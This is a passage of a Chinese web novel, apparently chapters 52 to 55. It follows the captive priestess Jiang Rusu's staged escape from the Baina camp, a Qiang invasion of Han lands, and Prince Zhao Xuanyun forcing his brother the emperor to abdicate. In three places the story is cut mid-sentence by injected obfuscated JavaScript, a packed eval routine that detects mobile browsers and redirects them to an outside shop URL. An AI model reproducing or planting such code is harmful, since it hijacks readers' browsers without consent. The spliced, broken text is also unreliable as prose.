祭司大人吩咐过,对姜如素也不要言听计从,她毕竟是南水的人,就这般爽快的答应下来为“首领”治疗,可谓是疑点重重。 她若是早便这般乐意,也不至于这么多年还是被绑才绑回来的。 药材自然是不需要姜如素准备,他们私下已经派人开始烹煮试药了,这袋子不过是用来“为难”姜如素,看看她到底有些什么想法。 姜如素眼珠子一转,既然他们要试探,不如就玩些有趣的,既然那么担心她在药里下毒,不如顺了他们的心思。 “姜姑娘若生了歪心思,可是死路一条。”姜如素眼里的算计太好认出了,东芩不带感情的警告着她。 死? 姜如素倒是眉眼含笑的直视着她,死倒也好,他们最好当真能弄死她,最好是当真舍得弄死她。 如今这天下,能治他顽疾的只有她。 时间拖得长久倒也不错,暗赫人的首领同她有着血海深仇的人,早早死了才好。 “是吗?”姜如素干脆不再管她,“诸位可得抓紧时间了。” 姜如素一脚将药材踹开,“我到不是没有脾气的。” 东芩不愿意待在,她也懒得见她心烦,索性用过晚饭后便早早歇下了。 拓跋忱廿身上有着一股淡淡的酒味,可他坐在姜如素塌前时,十足的清醒却又十分自乱了阵脚。 表兄今日专程同他说,让他这些日子留在这儿,他同意了。 他舍不得走,也不能走,姜如素如今的处境不算死路一条,但也算不得好过,今日那东芩说的那些胡话,已经有人传达给他了。 “姜凌,你说我该拿你怎么办啊。”拓跋忱廿的目光少见的温柔的落了下来。 睡着时的姜如素,瞧着比任何时候都要温煦一些,不会被病痛折磨的痛苦的皱眉,不会说着那些不讨喜的话。 外界的一些似乎都被摒弃了去,没有隔着暗赫人和南水的恩怨,没有那血海深仇般的纠葛。 这一刻似乎只单纯留给拓跋忱廿和姜如素的,留给阿枕和姜凌的。 他的血缘注定着就算是中立者,也同暗赫人有着扯不开的关联。可至亲之人却不知心,年少时无偏向的偏爱,也渐渐的被利益捆绑取代,成为更为稳固的关系。 在她昏迷的那几日,这样的想法在他的脑海中反反复复的压制滋长,缘分拉扯着又让他们见面了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538794|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在不合时宜的时分,一切都恰到好处的重逢了。 “索性,最后还是认出你来了。”拓跋忱廿自言自语的呢喃着,他知道姜如素这几日才解了毒,体内毒素未清,每日嗜睡的很,可他还是心底暗自作祟。 他希望她听见,又希望她听不见。 那日夜行的马车上,姜如素昏迷的倒在他一侧,她体温低的可怕,那床薄被他还是没带,将他平日御寒的那件狐裘披在她身上。 “阿枕。”姜如素梦呓着,很轻的一声,他都来不及听清她到底说了什么。 拓跋忱廿也没心思去管她到底是念着什么,他的思绪已经乱到是斩都斩不断的乱麻。 没有哪个部落是能毫不外交的独占一方的,不少的部落都有或多或少的往来,送自家的孩子去别的部落过上些日子,也是为了让后辈结交。 拓跋忱廿早年曾经以河洛四王子的身份周游过余下的十一部落,笑是不会到眼底的,心是万般难测的,这是拓跋忱廿那段时间明白的第一个道理。 表面上的和平相处,也仅仅是维持在表面上。 兴致勃勃的周游,怀揣着一颗冰封的心回程,可后来他在南水遇到了一个小姑娘,小姑娘会背着狩猎受伤的他下山。 小姑娘猜不透他的什么,她猜不透厌倦这些面子话,抛下侍从的拓跋忱廿是谁,他便也顺应着隐瞒了自己的身份。 他却一眼猜透了小姑娘的身份,她是南水祭司一脉的,小姑娘颈侧有颗小痣,是她背他下山时他看见的。 小姑娘说长辈还未赐名,有个小名名叫阿凌,随祭司一脉姓姜,拓跋忱廿便叫她姜凌。 姜凌似乎不怎么识字,先入为主的误将忱认作枕,便一心的只唤他阿枕,后来他便也都随她去了。 可是小姑娘已经过世了,那颗小痣姜如素却也有。 “阿枕。”姜如素睡得不安稳,做了不好的梦皱着眉,她重复的念叨,“阿枕。” 拓跋忱廿被这轻轻的一唤给定住了,他还俯身去听她说着什么。 阿枕... 拓跋忱廿不敢去确认,但事实摆在他面前,姜如素就是姜凌。 “阿凌。”他凑在她耳边轻语,不管姜如素能否听见,似乎通过这般法子去从她口中获得真相。 她分明死在七年前的,死在那场迅速的战乱中,死在那场他还未来得及动身就听闻她死讯的战乱中。 没曾想,这么多年后再见面居然是这样的场面。 他亲手将她抓了回去,为了她的命堵了两人的退路。 “今晚好好睡吧。”拓跋忱廿将被子为她掖好。 要是再晚一些,要是没有那堆烦人的跟随者,要是没有早些毒发,他早就当作是顺手帮表兄解开烦心事,将人丢下就回河洛去了。 将她一个人丢在这个只贪图着榨干她价值的炼狱中。 “一切都还来得及。”她不会退无可退的,拓跋忱廿撩开帐帘,今夜天上满天星斗,地上像是铺上了万点荧光。 本是宁静和祥的夜里。 羌兵入境了。 53.出逃 鸣嘀声打破了夜里刚平复下去的喧闹,人们才逛完夜市回家洗漱一番,乏累的一日难得的到了休息的时间,一沾床便都进入了梦乡。 芜迁城本就有不少的羌人移居来此,却不曾想因此被打了个里应外合,百纳兵便势如破竹的占领了芜迁城大半去。 消息快马加鞭传进京中的时候,天已经蒙蒙亮了。 “陛下。”陈时自黾州回来后便一直在赵煜怀身边当值。“芜迁城的加急军报。” “加急军报?”赵煜怀坐在桌前批改着奏折,今日休沐日无需早朝,但也少不了许多事需要他处理。 这时能有什么加急军报? 赵煜怀半信半疑的拆来军报,羌兵来势汹汹,掳截粮草使百姓流离失所。 偏生在这个时候,正逢着这入冬前,粮草短缺的时候。 “芜迁城守军居然没早些发现?”赵煜怀气的头脑发昏,最快的马到上京递到他的面前好些时辰已经过去了。怕是已经占去了不止大半的疆土了。 “小德子。” “奴才在。”候在赵煜怀身侧的太监立马上前听他差遣。 “传朕旨意,宣张,陈,莫,梁将军觐见。” “是。”事态紧急,小德子也不敢耽搁,匆匆动身了。 偏生是休沐的时候,往日这个时辰也都在早朝上,赵煜怀一想便觉得是有人故意挑选着今日。 “晏临江呢?”赵煜怀有些不悦的敲打着桌面。 “晏大人身体抱恙前些日子说要在黾州歇上一些日子。”陈时跪在一侧,一五一十的回答着。 “传他回京。” “这怕是...” “怎么?朕传一个臣子回京还需要思量?”赵煜怀本就气的头晕,这会儿直接将茶盏摔了出去。 茶盏磕碰在柱子上,顿时炸碎一地。 殿内外的人齐刷刷的跪下。 “陛下息怒,不是晏大人不愿回,而是晏大人如今...音讯全无,不知下落。” 不知下落... 想着离京的赵煊允,赵煜怀眉间的结拧的更深了。 “那你去将他寻回来。” “臣遵旨。” 西羌入冬的天亮的格外的晚,比往日晚上半个时辰。 姜如素也猜不透东芩背后那位祭司心底到底在作何打算,这几日虽不至于吃不上饭,是不信她,还是依旧在试探着她。 东芩似乎在换着法子,想要看看她这颗心里到底藏着些什么法子。七日绝解开后,便好似将那压在姜如素身上的枷锁解开了。 她没有理由这般乖觉的。 姜如素号脉的那一日,另一侧的帐帘后也站了不少的人,他们以前都是南水的人,都是真真实实亲见过南水祭司的。 他们全都一口认定,姜如素确实是仅剩的真正的祭司,是那场屠杀中侥幸活下来的唯一的幸存者。 可她的身份越真,如今这一切越是虚假,背负着血海深仇为仇人治病,予取予给,实在是太奇怪了。 姜如素自然是懒得顾及那些人心里想的那么多事儿,睡上安稳的一觉,起得早还没人送进来,便躺在榻上看着随手在帐中拿的书籍打磨着时间。 “祭司大人。”屋内立马闪进两人,两人都穿着极为精简的衣裳。 “祭司大人,您没事吧。”其中一个女子上前探了探姜如素的额间,“我是玥羽,她是舜岚,我们是来接您回去的。” “接我?”姜如素还是有些提防着,保不齐这又是什么新的试探法子,“我在这儿挺好的。” 玥羽也是知道姜如素不信,从怀中取出一个木牌,木牌是圆圆的,很小的一个,上面刻着一个纹样。 姜如素从怀中也取出一个木牌,两者合在一起,严丝合缝的合二为一。 “是你。”姜如素放低了声音。 “是我。”玥羽将木牌又收了起来。 姜如素的目光瞥见守在一侧时刻注意着门外动静的舜岚,目光点了点她,玥羽也是看向她,见她没看过来,对着姜如素点了点头。 看来人是到齐了。 “一切可都计划好了?” “计划好了。” “走吧。”姜如素掀开被子起身,却正恰逢东芩这会儿端着早饭进了屋子。 “你们是...”东芩还没来得及说完话,便被站在帐门口的舜岚一把给捂住嘴,舜岚下手很狠,一下子别住东芩的手让她动弹不得。 只消得片刻,姜如素收拾妥当了,她便手下一用力将东芩给敲晕了过去,麻利的示意着随时可以出发。 “那走吧。” 玥羽带路,舜岚留着断后,两人带着姜如素很快便绕了出来,寻到了早就藏好的两匹马。 “今日人怎么感觉这么少?”姜如素上了马也是觉得奇怪,守卫松懈得像是故意露出破绽让她去逃。 “回祭司大人,昨夜...百纳王携羌兵入汉境了。” 汉羌两地的这场迟早会爆发的战乱终究还是爆发了。 “原来是这样吗?”姜如素也不知道她当时传回去的那封信,晏行丘有没有收到,汉地百姓在他的庇佑下左右应是不会太过煎熬的。 “是的。”玥羽有问必答,驾马的速度越来越快,巴不得日行千里早日出了百纳的地盘。 姜如素隐隐察觉出了不对劲,极为飘渺的感受,像经脉都被麻痹了,又好似失去了对身体的掌控权。 分明并无一处难受,握拳时却无力的控制不住手抖。 她并不是什么不善骑射之人,不会仅是因为山路颠簸了些就难受,七日绝的后劲还有,但也不该这样。 难道...... 难道她们背地里又偷偷给她下毒。 每个部落的祭司都是有着独成一派的医毒疗法,巫医同源,这么多年相辅相成,便只能是自己人解自己毒。 不然那位首领也不会不辞幸苦专程要她来解毒。 “停...停下。” “祭司大人,你忍忍。” 玥羽不敢松懈,百纳人什么时候找来都是个未知数,趁着现在多赶些路,便多上一分逃离的机会。 若是祭司大人实在因为颠簸难受,等出了这座山再寻个地方歇歇。 “放我下来。”马背上她找不到着力点,但依旧抽身按着玥羽的肩要起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556325|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 玥羽怕她摔下去,勒住马寻个树林间停了下来。 “这?” 玥羽用帕子沾了些水,为姜如素擦拭着血迹,越是擦拭越感觉不对劲。 姜如素呕出的血似乎擦不完,玥羽帕子都染变了颜色,她嘴角却还依旧挂着擦拭不尽的血迹。 “祭司大人您再忍忍,等我们安全了我就去寻人来。”她将回南水的事儿一股脑抛掷脑后,现在只想着要姜如素活着,毕竟活着才能有希望。 “不必了。”姜如素握住她的手,这血止不住,擦拭只会脏了她的手。“那些大夫不管用的。” 真正能治她的人,正在百纳帐中等着她回去。 姜如素余光瞥见那断后的舜岚也跟了上来,将她也唤至身前。 “我如今这样应该是走不掉了。这个一定要亲手交给胡尔达。”她平时鲜少佩戴发饰,平日便是簪子盘发,姜如素取下簪子交在玥羽的手中。 或许也不该称呼他为胡尔达了,自姜如素会说话起,她便知道要称呼王为尔木知,称呼下一代王为胡尔达。 如今当年的胡尔达已经继任了,或许也该称呼为尔木知了。 但这些都不是重要的事儿,姜如素摩挲着木簪上的刻纹,放在她手中的那一刻,终于是松了一口气。 这簪子簪在她发间,远是比不上她另外的那支深色刻银的簪,几乎没人能察觉这簪子的存在,细看也是同寻常的木簪别无几分差别。 “前辈当年留了不少暗赫人的证据,盒子埋在后山的洞窟中,这木簪便是能打开那盒子的钥匙。”姜如素还有些不放心,“一定要亲手交给胡尔达,除了你们二人可不要落入他人手中。” 不知是不是虚张声势,抑或是那群人的动作当真这般快,暗赫人已经开始搜山了,听着动静人是越来越近了,若要带上她回程必定困难重重。 “切记一定,一定。”姜如素坚定的看着她,是一种就算死也不肯瞑目的眼神。 “我一定交到胡尔达手中。”玥羽一字一句似要刻进骨里。 姜如素也看向了舜岚,舜岚目光坚毅的点头,得了她的承诺,姜如素才算是松了一口气,“早些走吧。” “祭司大人,你不跟我们走?您要是回去肯定会受苦的。”玥羽还想再劝,姜如素若是不走被人抓了回去,怕是不得好死。 如今她的血都止不住,显然那些人这些日子对她并没有太好。 “不了。”姜如素拍拍她,“傻丫头,会有人保护着我的,你不用担心。不然怎么会这么久才将我找到。” 玥羽听她这么一说,也是稍微放下心来。 “不如现在就走吧。”舜岚还是有些不放心,“毕竟身在敌营,死生都在百纳人手中,更何况暗赫人怎么会放过祭司大人。” 提及自己,姜如素的目光渐渐的黯然下去了,再抬眼便全是泪水,“我就不了,你们快走吧。” 玥羽张嘴似乎还想劝,姜如素摇头回绝了她,“若是当真死在这儿,算算时间也该去陪前辈她们了。” 偷来的这七年时光,足够了。 南水自她出羌那一刻,便回不去了。 54.中计 看见两人走远了去,姜如素才撑着站起身子来,用玥羽的帕子擦了擦嘴角。摸了摸怀中,早些用羊肠温着的血包已经用完了。 怀中就还剩着一个木牌,是方才同玥羽核对的那块。如今也用不上,带在身上也是容易被察觉,索性将它扔了。 木牌晃了晃才终于挂在了隔几棵树的某颗树枝上,入冬后上山的人愈发的少,不抬头也不会瞧见。 这一来二去的,倒是让姜如素生了一身的汗,加之不知道那位王后到底又偷摸给她下了什么毒,搅得浑身都疼。 这几日姜如素倒是有了些眉目。 西羌十二部按照地理位置,分为北七部和南五部。 南五部为了集权一直存在祭司嫁王的习俗,能吩咐祭司一脉来照顾她的人,想来应该就是百纳的现任祭司,平清霜。 离羌这么多年她也并不是完全两耳不闻窗外事的,百纳王她以前曾见过是个年过半百的老头子。 两三年前旧王死,新王立,看来暗赫人的首领便是如今百纳的王,费舍俟。 想到此处,姜如素也不禁自言自语的感叹一句,“好像我确实不该活着,我知道的事儿似乎还挺多的。” 顺着下山的路不算好走,玥羽方才将她安置在树丛间,那处更为隐蔽,如今她一个人走实在是有些为难她这副身子。 姜如素艰难的扶着一侧的树,撑起身子,树木上还有着被小刀凿开的痕迹,看样子是是才做的新记号。 “谁没事乱做些标记。”姜如素腹诽着。 话又说回来,费舍俟的出生于整个百纳都是极为不受宠的,费舍俟的母亲是外来的外乡女子,她的出现至今是个迷。 费舍俟的父亲,在还是王子的时候便迎娶了他的母亲,后为了争夺王位,他母亲又先后迎娶了部落中的其他几位大将的女儿。 在偌大的部落中立足怎么会一直偏宠着一位无权无势的女子,为了王位费舍俟的母亲被流放,临走前祈求百纳王让她带走儿子。 这位外乡的女子终于在那一刻看清一切,若是将儿子留在他身边,怕是生死难言。 姜如素曾在某个无趣的夜里,参过他母亲的命格,情字错付,是个痴情人,费舍俟的命格她也看过,执念过深,僭越自大,是个祸根。 “祭司大人,这是要逃去那里啊?”姜如素迎面便撞上拓跋忱廿,他比那些人先是一步的找上了她。 姜如素满身狼狈,玥羽擦了半天,可这会儿血迹依旧顺着下颚,脖颈,将衣裳染成红色。 “不过是起早了,出门散散心罢了。”姜如素云淡风轻的回答着,就好似身上的血迹就好似雨滴,出门一趟遇上了。 “散心散成这样子?”拓跋忱廿下马要查看伤势。 “爱信不信。”姜如素避开他的手,两人交谈之间搜寻的那些百纳兵也跟了上来。 “拓跋大人。”跟上前的十几人朝着拓跋忱廿行了礼,目光扫了姜如素一眼确认她并没有逃脱,这才都松了一口气。 “人找到了,回吧。” 拓跋忱廿才带着姜如素回程,还未下马,跟在费舍俟身边的心腹便直接过来同拓跋忱廿交代了王的吩咐。 正值汉羌两地开战,战场局面瞬息便足以万变,他们兄弟二人议事,那里还需要她,姜如素便自顾自的准备着回帐中梳洗一番。 这满身血渍属实有些太狼狈了。 “姜姑娘,王也要见你,一起走吧。”那人叫住了姜如素,直接吩咐着。 “也行。”姜如素见拓跋忱廿也盯着她,左右是走不掉,干脆去见见这位百纳王。 临近主帐的地方,人变得多了起来,所有人都忙碌的来来往往,营帐内更是老远就听到了说话声。 进了主帐,姜如素倒是瞧着有着不少的熟面孔,都是些南水的叛徒,有几个还趁着费舍俟为出面,还出言同姜如素打了个招呼。 言语之间满是落井下石的语气。 百纳人早年能策反这些南水人,这么些年卧底在南水的人肯定也不在少数,难不成除了东芩,暗处还有不少的眼睛盯着她? 可盯着她显然是毫无意义的。 她不过是南水都不肯寻回的废祭司。 不对,现在不是了。 姜如素目光一扫,看到了坐在角落里的彭先生,老头坐在人堆中同身侧的人交谈着什么,看见姜如素进来,有些诧异,有些错愕。 这便是他当时没能认出来,没能亲自带回来的人。 想到这里彭先生似乎有些懊恼,他平白的失去了一个得到王重用的机会。 姜如素含笑看着他,正好撞上彭先生的目光,两人短暂的对视在喧闹的人群中,显得格外的刻意。 “两位进内来吧。”放下的幕帘后传出沉闷的男声,帐内的交谈声立马的安静了下来,也有人自帐后走出,携着两人入内了去。 东芩在一侧咳嗽着,身边还有人给她顺着背,看样子是刚醒,她出门这一趟也不过半个时辰不到。 是谁走漏了风声?不然怎么会这么快就寻上她的踪迹。 “表兄。”拓跋忱廿朝着坐在上位的人称呼着。 男人的头发高高束起,抹额将额前的碎发都盘了起来,但一侧精心修剪的头发垂下正巧遮上了左眼。 难怪平日不常见人,想来遮住的那只左眼已经有了异于正常眼睛的表现了,这双眼真是极大的特征,不论见没见过,只消得认识这双眼便能将他认出来。 “姜姑娘这是去了哪儿?怎么弄了一身的血。”沉闷的男声继续问着。 “散心。”姜如素不再多说,咬死就是散心。 “是吗?”费舍俟的声音带上了笑,笑她负隅顽抗。“可我听东芩说,是姜姑娘随着南水的人出逃去了?” 东芩每日送过饭菜后便会及时回报,今日迟迟却没有按时出现,平清霜自然不会认为是因为什么事儿单纯耽搁了。 不多时,便有人回报,说是姜如素失踪了,东芩被人打晕了。 “既然姜姑娘这么想逃,不如我送你一程好了。” 刀刃朝着她面门而来,费舍俟的动作快到姜如素只来及侧脸,身子完全被惊 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“多谢。”姜如素低声看着他,眼神里有纠结,有劫后余生的庆幸,也有点点埋怨。 拓跋忱廿知道她认出他来了,可是她不愿意相认,不愿开口。 “不会有事的。”拓跋忱廿的声音放的更轻了,只有两人才能听见。 费舍俟将这一切都放在眼底,没曾想身边的这位表弟,似乎少见的对这位祭司有着保护欲。 “看上她了?” “没有。” “最好不要耽误我的正事。”费舍俟那里看不出来拓跋忱廿在掩饰。 “自然不会,表兄你是知道的,她还有用。”拓跋忱廿自觉的坐在一侧的座椅上。“今日来救她的人肯定不会无功而返,或许会有新的消息。” 不论是有利的,还是无利的。 一旦摆上棋桌,便是能规划于考量的,哪怕失误了也能及时割舍的。 “真的?”费舍俟不敢信。 姜如素今日逃得轻松,回来的也是容易,似乎像是单纯演一出戏,一个时辰内便将这些事儿就做完了。 “自然是真的。表兄进来忙于战事,可能不知道表嫂在她平日的饮食中下了毒,解药只有表嫂有,她逃不走的。” “我去寻她的时候,是她自己走回来的。” 拓跋忱廿言尽于此,费舍俟也是明白,南水的人最是狡诈,不会只白走这一趟的,除非是完成了她计划中的一切。 两人沉默下来,费舍俟不得不重新掂量姜如素的价值了。 “可有异样?”他看着站在一侧准备汇报的下属。 “有。”那人立马将方才费舍俟试探姜如素时,外面坐着的那些有异样的人都记录了下来,狭长的纸条上,写满了三四个人的名字。 费舍俟扫了一眼,彭先生的名字赫然在上面,费舍俟突然想到,分明不过是一两月的时间,拓跋忱廿就从彭先生无功而返的郢州带回了姜如素。 他果真是叛徒嘛? “杀了吧。” 55.夺位 费舍俟如有神助一般,带领着大军步步紧逼,兵线已经到了明州,眼瞧着若是赵煜怀再不出手怕是,这羌兵马上就要到郢州城了。 “朕养了你们这么多年,就是陪西羌的人来走个过场的?”赵煜怀盯着沙盘上敌我布局,忍了忍心中的怒火,最终还是没忍住呵斥出了声来。 此次战局也是令他束手无策,像是空有一番武艺,却无处施展,节节败退。战场情况瞬息万变,避免贻误战机,赵煜怀直接亲自到了郢州城来,到了前线。 张,陈,莫,梁四人并不是他父亲那一辈留下来的老将,其中张冕和陈霃是他从太子时就开始培养下来的人,跟着他前后快有二十年。 前前后后二十年,他可未曾克扣过他们一丝一毫的军费,怎生拦不住羌军,怎么会。 “陛下息怒。”张冕站了出来,“此战实在是太过怪异了。” 对战这九十日,并非是没有胜仗,可羌军就好像早就预判了他们的行兵布局,对症下药,势如破竹的已经将三地收入囊中。 “陛下,这怕是...”陈霃并非是想推卸责任,他隐隐有了猜想,“怕是早就有人泄露了城防图,而且军中有叛徒。” 若是没有人泄露了城防图,羌军不会那么快就那些芜迁城的,几乎是一夜之间便攻占一城。 赵煜怀想到过这一层,但是能是谁呢? 平阳王上月便自请交了兵权,他难不成还能在背后捣鬼不成?抑或是费舍俟早就在他的朝堂中掺插了卧底? 不应该啊。 都不应该啊。 费舍俟当真有这么大的神通又怎么会甘心屈居于南水之下。 内鬼泄露了城防图,叛徒潜伏在军中,这场仗怎么看横竖都看不见胜算,若是不退步便是苦战。 可偏生是这个时候苦战,在入冬后,粮草是有限的,若是将所有的兵力都调来郢州城,专注对付西羌,有难免有北夷的人伺机而动,腹背受敌。 粮草有限是拖不了长久战争的,实在寻不到出路只能议和。 “晏临江呢?”赵煜怀揉着眉心,“陈时也没传个信?晏临江到底是死了还是活着?” 屋中的几人分立在两侧也不敢开口接话,都垂着眼默契的要将地上的沙盘瞧穿似的。 “皇兄可是还在为战事烦扰?”赵煊允的声音兀的从屋外传来。 赵煊允穿着一身素衣,推门而入,这身打扮到像是个儒士,完全没了往日身着朝服那般王爷的模样。 “王爷。”几人朝着赵煊允行了礼。 “那我们便先行告退了。”陈霃站出来朝着赵煜怀行礼,得了他的准予,几人连忙抽身走人,深怕慢一些就听到了什么不该听的东西。 “怎么没通报?”赵煜怀目光不悦的看着带路进来的小兵,怎么就这么将平阳王给领了进来。 “我又不是不认路,就不必通报一声打扰皇兄了。”赵煊允挂着笑看着赵煜怀。 “煊允怎么不在随州修养修养。”赵煜怀立马调整了表情,又变成那副兄恭弟孝的好兄长模样。“也不陪陪永林?” “不了。”赵煊允走近了些,在赵煜怀座前几步远的地方停下,从随州到郢州城匆忙赶来,他看起来还有些疲惫。 “煊允今天来是有什么事儿?”赵煜怀便权当作他未曾听见他们方才交谈的话题,扯些家常话。 “方才在帐外听说皇兄在找晏大人?”赵煊允朝着赵煜怀行了礼,“正不巧,前几日去黾州城拜访旧友的时候,我也正巧见过晏大人。” 赵煊允找了个舒适的位置坐在赵煜怀身侧,很久没有坐的这般近,同皇兄这般亲昵了,赵煊允想着。 “晏大人同迟都督是旧识,那时候我还看到他邀请晏大人去营中做客呢。”赵煊允装似不经意般提起,“对了,皇兄,我看如今战事胶着,像来需要奇兵破局。” “于是...” 赵煜怀方才才缓下来的心情,又被赵煊允拖长着的尾音给提了起来。 黾州城还有这赤家军,难不成赵煊允直接绕过他什么时候同赤家军很是熟络了?他也未曾听闻过赤家军遣往郢州城的消息。 他本是有这般想过的,但如今的战局还有转机,一定会有的,所以他还未下旨让迟枞带人过来援助。 “我便让迟都督早些带着赤家军前来支援。”赵煊允说的轻巧,自顾自地拿过放在赵煜怀手边的茶壶给自己满上一杯。 “迟都督怕是不会听你的吧。赵煜怀反驳着。 赤家军世世代代忠君,不见圣旨不得虎符,不能动身离开黾州地境,怎么会因为赵煊允一两句话便动身赶往前线。 这是不对劲的。 “听了啊,赤家军应该就快要到郢州城了,约莫还有一日的脚程。”赵煊允把玩着手中的瓷盏,“皇兄心心念念的晏大人也在。” 晏临江也在... “你把晏临江怎么了?”难怪陈时一时没有传信回来,晏临江在赵煊允手中,怎么可能还找得到。 “没怎样啊。”赵煊允语气轻佻的回答着。“不过是请晏大人和旧友一起吃了个晚宴,晏大人不胜酒力醉倒了,我们也就只能勉为其难的先照顾着。” “你...这一天筹谋了很久了吧。”赵煜怀感觉胸口有些闷,这几日因为战事一日只睡上一两个时辰,身体本就熬不住了。 晏临江此去回来,他本就知道这几年的磋磨,晏临江已经不是当年的晏临江了,但从赵煊允口中听闻。 他就这般不设防的迈入了鸿门宴,受了牵制。 “你到底想干什么?”赵煜怀质问出声。 “我想要什么,皇兄不清楚吗?”赵煊允反问着。 若是继续打下去,以如今的兵力与西羌抗衡颇有几分难度的,陈霃和张冕说的并非没有道理。 前有泄露布防图,后有内鬼,看样子费舍俟和赵煊允是联手了的,局面是输是赢,都在两人的计划中。 这样的话,赵煊允不达目的,怕是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于外界而言,得民心得平阳王或许比连失三城,无力救百姓于战乱中的皇帝更适合成为一个仁君。 “皇兄,放得下自己的心吗?”赵煊允语气轻缓,却是咄咄逼人,“放得下那颗自私,倨傲的心吗?” 赵煜怀算是明白了,赵煊允哪里是上交兵权过安生日子的人,以退为进的障眼法罢了,亏他那是还觉得或许自己这么多年误会他了。 连丧子之痛都转化为他计划中的一环,赵煊允比当年还心狠了些。 “皇兄,这个位置坐久了,是不是该起来。”赵煊允笑着看他。“换个人坐坐了?” 这一切的一切,只是为了让他退位。 “好。”赵煜怀像是失了一口气,终于颓败了下来,“战事到此为止吧,不要再打了。” 赵煜怀从那高台上走下来,分明不过是两三个一掌来高的台阶,走下去却代表着这皇位当真是要易主了。 “皇兄,”插肩而过的时候,赵煊允叫住了他,“若是皇兄没有这么多猜忌,没有猜忌我,没有猜忌你的好心腹,我是走不到今天的。” 赵煜怀知道他要落井下石,他认了输,这场战事便不会再继续下去。他也该好好休息了。 “煊允谢过皇兄了,也多谢三年前一时自大迷了心的皇兄。” 多谢他一步步走到今日,让他以他最放不下的面子夺走了他苦守了十七年的皇位。